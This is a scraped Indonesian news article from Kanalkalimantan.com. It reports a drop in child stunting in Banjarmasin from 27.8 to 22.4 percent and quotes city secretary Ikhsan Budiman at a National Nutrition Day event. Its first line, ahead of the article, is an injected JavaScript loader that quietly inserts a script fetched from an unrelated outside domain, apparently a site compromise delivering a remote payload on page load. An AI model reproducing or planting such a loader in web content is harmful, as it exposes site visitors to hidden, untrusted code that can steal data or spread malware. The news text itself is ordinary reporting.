(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Upaya Pemerintah Kota (Pemko) Banjarmasin dalam menurunkan angka stunting pada anak di bawah 5 tahun (Balita) rupanya membuahkan hasil.
Bila pada tahun 2021 angka stunting di Kota Banjarmasin mencapai angka 27,8 persen, maka pada tahun 2022, jumlah Balita stunting turun menjadi 22,4 persen.
Berdasarkan data tersebut, artinya jumlah penderita stunting di kota berjuluk Seribu Sungai berada di level angka rata-rata nasional yang mematok angka 24,6 persen.
Baca juga: Diskominfo Kapuas Terima Mahasiswa PKL Uniska Banjarmasin
Hal tersebut diungkapkan Wali Kota Banjarmasin melalui Sekda Kota Banjarmasin, Ikhsan Budiman. Sekda Banjarmasin mengungkapkan, program-program penurunan stunting yang dilakukan Pemko Banjarmasin selama ini membawa hasil yang positif.
Untuk diketahui, stunting merupakan kondisi gagal tumbuh pada anak usia di bawah 5 tahun (Balita), yang diakibatkan kekurangan gizi dan infeksi berulang serta stimulasi tidak memadai terutama dalam 1.000 hari pertama kehidupan.
Sebelumnya ada dua upaya yang dilakukan oleh Dinas Kesehatan Kota Banjarmasin dalam menurunkan stunting, yaitu intervensi spesifik dan intervensi sensitive.
“Upaya intervensi spesifik yang dilakukan telah memberikan kontribusi sebesar 30 persen dalam upaya penurunan stunting yang dimulai dari calon pengantin, sampai pada 1.000 hari pertama kehidupan anak hingga usia remaja khususnya putri,” kata Ikhsan Budiman saat peringatan Hari Gizi Nasional ke-63 di Puskesmas Pembantu Tanjung Pagar, Kamis (2/2/2023).
“Upaya intervensi sensitif juga telah dilaksanakan SKPD terkait dengan kegiatan yang diarahkan berfokus pada kelurahan yang menjadi fokus,” tambahnya.
Adapun penurunan angka stunting tersebut didapatkan pihaknya melalui survei yang dilaksanakan SSGI (Survei Status Gizi Balita Indonesia).
Baca juga: PT SILO Gelar Aksi Donor Darah Peringati Bulan K3 di Kotabaru
Lebih lanjut, Sekda berharap dengan terselenggaranya kegiatan tersebut nantinya mampu meningkatkan kepedulian semua pihak terhadap pentingnya asupan gizi bagi anak dan orang dewasa.
“Semoga kita dapat memahami makna dari peringatan Hari Gizi Nasional ini, yaitu untuk mengingatkan seluruh masyarakat Indonesia khususnya kota Banjarmasin,” ungkapnya.
Ikhsan Budiman juga menekankan betapa pentingnya mencukupi kebutuhan gizi untuk menunjang pertumbuhan tubuh dan kesehatan kita sebagai manusia.
Pada peringatan Hari Gizi Nasional ke-63 yang digelar di Puskesmas Pembantu Tanjung Pagar Kota Banjarmasin tersebut dirangkai dengan launching pencanangan kampanye Gerakan Protein Hewani Cegah Stunting. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.